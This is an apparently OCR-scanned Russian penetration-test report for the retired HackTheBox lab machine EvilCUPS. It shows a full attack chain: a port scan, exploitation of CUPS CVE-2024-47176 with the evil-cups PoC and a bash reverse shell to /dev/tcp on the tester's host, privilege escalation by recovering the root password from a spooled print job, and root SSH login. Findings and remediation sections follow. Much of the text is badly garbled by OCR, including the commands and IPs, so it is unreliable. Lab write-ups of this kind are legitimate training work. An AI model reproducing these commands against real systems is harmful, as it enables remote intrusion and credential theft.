OTtyer

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
nHcpopmaumoHHon 6e3onacHocTn B 13:13 (0080s16HO 6bICMPO NPOWSIO, ecru He
y4qumableamep YmMo MeHS MOCMOSIHHO 8bIKUObLIBAIIO)

ObnacTtb TeCTUpOBaHUA N UCNOSIb30BaHHbIE CIYXObl.

IP/aomeH Mopt CepBuUc CepBuc ueneBoro
cepBepa

localhost 5901  WinKexServer -
localhost - Nmap Port Scanner -
localhost - Obsidian Notes -
localhost 8000  Python HTTP Simple Server -
localhost 12345 Python HTTP Simple Serverfor CVE-2024- -

47176
10.10.11.40 631 CUPS WEB Server +
10.10.11.40 22 SSH +

Ucnonb3oBaHHble hannbi:

linpeas.sh - Privilege Escalation Awesome Scripts SUITE new generation.
CVE-2024-47176 PoC- Remote Command Execution 8 CUPS 2.4.2.

d00001-001 - dpann neyaT 4na NpuHTEpPa M NOSy4eHUa Naposisa oT root.

user.txt - corar.
root.txt - donar.

NMopsapok aencrtemnm

1) 3anyck openvpn gnsa gocrtyna; kex ans Toro, 4Ttobbl caenartb linux
yaobHee

kex ——win && sudo openvpn lab_Kolya080808.ovpn


https://github.com/peass-ng/PEASS-ng
https://github.com/IppSec/evil-cups

2) CkaHupoBaHMe NOPTOB C MOMOLL LI NMap.

PesynbTaTbl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.2pl Debian 2+debl2u3 (protocol 2.0)
| ssh-hostkey:

| 256 36:49:95:03:8d:bu:Uc:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)

|_ 256 9f:al:a9:39:11:20:e0:96:ee:cl4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4

| http-robots.txt: 1 disallowed entry

|/

| _http-title: Home — CUPS 2.4.2

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) be3s noucka AUPEKTOpUN CMOTPUM Ha CauT.

OpenPrinting CUPS  Home [CMNISIEUSEIOTEE

OpenPrinting CUPS 2.4.2

The standards-ba ce printing syste! velop for Linux® and other Unix®-like operating systems. CUPS uses to support printing to local and network printers.

CUPS for Users CUPS for Administrators CUPS for Developers

4) NMouwem aknnout K 3Ton Bepcun CUPS n ucnonbayem ero.



Mownck n ncnosnb3oBaHve:

. evil-cups  Public & Watch

¥ main - ¥ 1Branch © 0Tags Q Go tofile Add file - <> Code ~

. ippsec git ignore 20cad?8. 2 manthsagn ) 2 Commits

0 .gitignore git ignore 2 months ago
0 evilcups.py git ignore 2 months ago

D reguirements. tx<t Initial cammit 2 menths ago

python2 evil-cupsfevilcups.py 16.18.16.3 18.18.11.48 "sh -1 »& /fdevw/tcp/16.18.16.3/1234 @x&1°
[FF Server Listening on {'18.16.16.3", 12345}
bending udp packet to 18.18.11.48:631...
Flease wait this normally takes 38 seconds...
o elapsed
arget connected, sending pawload

arget connected, sending pawload
b4 elapsed®CTraceback (most recent call last):
File "/home/kolyadB38888/evil-cups/evilcups.py™, line 235, in <module>
time.sleep(1)
eyboardInterrupt
CException ignored in: <module 'threading' from '/usr/lib/python3.11/threading.py’>
raceback {most recent call last):
File "/fusr/lib/python3.11/threading.py™, line 1598, in _shutdown
lock.acquire(
eyboardInterrupt:

Showing 2 of 2 printers

‘Canon_MB2300_series Server Room Local Raw Printer

HACKED_10_10_16_3 HP 0.00, driverless, cups-filters 1.28.17

HACKED_10_10_16_3

(Idle, Accepting Jobs, Not Shared)

Maintenance  ~ § Administration v

CKED_10_10_16_3

P 0.00, driverless, cups-filters 1.28.17 (color, 2-sided printing)
plicitclass://HACKED 10_10 16 3/
b-sheets=none, none media=na_letter_8.5x11in sides=one-sided

Search in HACKED_10_10_16_0: I E77E) (2

Completed jobs in order of completion or cancellation 4




PesynbTart:

ippserver/behaviour.py”, line 71, in handle_ipp|

Jenv/1ib/python ite-pac ippserver/behaviour line 163, in operation

ile)
Jenv/1ib/python3 .11/site-packages /ippserver /behaviour.py”, Line 418, in handle_pol

~, line 1598, in _shutdown

*bash -c “bash -i y& /dev/tcp/i8.18

5) YUutaem user FLAG:

Pesynbrtar:
I3 pY
"import pty;pty
't export TERI

error near unexpected token
/3 1=

initrd.img.old lost+found run . var
lib media sbin tmp wmlinuz
libg4 mnt Sr wvmlinuz

Fhome

6) 3arpy3um linPEAS 1 nocMoTpuM, YTO Mbl MOXeM caenaTtb:



£ Kolya080808@MNikolapes ~/privesc
h of Kali Linu
o

wn (" /bin/bash”) "’

cre
$ cd /home/
5 NKNOWN group default qlen

s: /home /hth$ 1s

l2: B group default glen L
Link/ett

Mpegnonaraemol pesyrnbTarT:
Cyasi N0 TOMY, YTO 4 yBUAEr, HAa40 NOCMOTPETb Ty pacnevyaTaHHyo CTpaHULYy Ha NpUHTEpe:

Reprint Job

completed at

Sun 17 Nov 2024 04:08:45 AM EST

BOT 3Ty

7) NMNocmoTpum B /var/spool/cups

PesynbTart:

BoundingBox: 1

Title: Enscript
eator: GHNU En
eationDate:
rientation: Portra

:Fages: {atend)

ocumentMedi

ndComments

ieginFrolog
eginResource: procset Enscript-Prolog 1.6.

Procedures.

8) B camom cphaine A Hawen naporb OT root nonb3oBaTens:



PesyanaT

ano d08601-861

E;
J(pass . txt) def
e () def

ftail (pass.txt) def

User defined strings:

fmodstr (Sat Sep 28 @9:38:18 2024) def
pagenumstr (1) def

user_header p false def

user_footer p false def

SEndPagesetup

_Gl@ss -r@et —evilcups) <

font Courier-Bold Courier

Wi vhere Is " t W Location Bl Undo Set Mark To Bracket W8z Previous Back Bl Prev word
& replace & past @ coto line [ redo Copy Vhere was Gl next Forward & next vord

9) Bxoaum no ssh n yutaem dnar root nonb3oBartensa:

PesynbTart:

ssh root@ld.18.11.46
he authenticity of hos 168.18.11. ! L11.48] t be establi
025519 key fingerpri 2E6 ¢ dYSBXYNZYNSYATXEFAT LAR
3 in by any other
sure you want to continue connecting {wes/no/[fingerprint
Permdnenflw dded "18.18.11.48" (EDZ5518) to the list of knumn host
ord:
inux em11Lup; 6.1.8-25-amd&d #1 SMP PREEMPT_DYNAMIC Debian

he programs included with the Debian GMU/LInux s em are free software;

t distribution terms for each program are described in the
feharefdoc /*fcopwright.

lebian GHUALinux comes with ABSOLUTELY MO WARRAMNTY, to the extent
ermitted by applicable law.

: login: Tue Oct

ootjgevilcups ~#

oot txt

' Dfﬂeuilcup

¢/ MpumevaHue
KpyTas komHaTta, HO HeoBxo0aAMMO NoHMMaHue Kak pabotaet CUPS
1 cam akcnnout. [1na MeHsa oHa Obiria 4OBOSbHO MPOCTOMN.

Ho Bce paBHo, cnacnbo HackTheBox 3a adoureHckyto komHaTy!!!



HangeHHble ya3zBMMocTu

Information Disclosure

PoC:

Lp@evilcups: /var/spool/cups$ cat depesl-gel
cat deeeel-
PSS -Adobe-3.8

itle: En
eator: GMU Enscript
CreatlonDate: Sat Sep 28
ientation: Portrailt
ages: (atend)
locumentMedia: A4 595
cumentMeededResources
ndComment s
ieginProlog
ieginResource: procset Enscript-Prolog 1.6.5

Procedures.

[ # save current s
. save def

saved state

(NyHKT 7)
CVSSv3 Score: 10.0 (Critical)
OnucaHnme:

Information Disclosure B gaHHOM criyqae cBsizaHa C OCTYNOM K AaHHbIM B UPEKTOPUM
Ivar/spool/cups, B KOTOpOW HaxoanTcs dhaln ¢ 3anicbto O napore root nonb3oBaTens.

BOC"pOM3BeAEHMeyﬂ3BMMOCTM:
Cosnapaert ¢ PoC.
PekomeHgaumm no yctpaHeHuio:

MpoBepbTe onpeaeneHHble annbl Ha HanMue KoHPUAEHUMaNbHbIX AaHHbIX

Ypanaunte um xpaHute goann ¢ KoHuaeHumansHOM nHdopmaumen B He4OCTYNMHOM AniA
nosnb3oBarTernen mecre.

CVE-2024-47176



rver /behaviour .py", line 71, in handle_ipp)
“Lvnp 1234
tening on [any]
pserver/behaviour .py”, line 163, in operation
e ioctl for device

Jippserver /fbehaviour.py”, line 418, in handle_po

elapsed’ CTr
File “/home/kol

*fusr/Lib/pyth

in _shutdown

(nyHKT 4)
CVSSv3 Score: 10.0 (Critical)

OnucaHme:

[laHHbIN 3KCNNOUT AaeT BO3MOXHOCTb YaareHHOro UCMOoNHEHNs! KOMaHA Ha cepBepe 6e3 Begoma
agMuHUCTpaTopa.

Bocn poundBeaeHune yA3BMMOCTU:

python3 evil-cups /ey ups.py ! 16.3 18.: sh -1 & Sdew/tcp/1B
Server Listening on i
udp packet to 18

Larget payload ...

Farget sendi payload ..
recent call last]
sfevilcups.py", line 235, 1 odule:
leep(1)
eyboardInterrupt
Exception ignored in: <module ‘threading’' from ‘fusr/lib/python3.li/threading.py’>
raceb 4 t recent

ing.py", line 1598, in _shutdown

penPrinting CUPS Home Administration Classes Help Jobs

Search in Printers:

g int

Canon_MB2300_series Server Room Local Raw Printer

HACKED_10_10_16, HP 0.00, driverless, cups-filters




HACKED_10_10_16_3

(Idle, Accepting Jobs, Not Shared)

Maintenance v § Administration ™

[URIISCI, C(<ED_10_10_16_3

Print Test Page

Pause Printer ded printing)
Reject Jobs
Move All Jobs

Cancel All Jobs

Search in HACKED_10_10_16_: I

Completed jobs in order of completion or cancellation &

PekomeHpaumm no ycTpaHeHUIo:

O6HoBute CUPS po nocrneaHen Bepcum.

Cregurte 3a YA3BUMOCTAMU N UCnpaBJieHUAMU Ha X odmumansHom caute.

Buaoeo BbINOMTHEHUA

a
o

“D Retired Free Machine

amaN
Play Machine
erioc O Adventure Mode ® cud

Track

Ranking:

i FroLab

Job Board

Universitie

0:00/1:26:16

Acadern

HTB 1o
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https://www.cups.org/

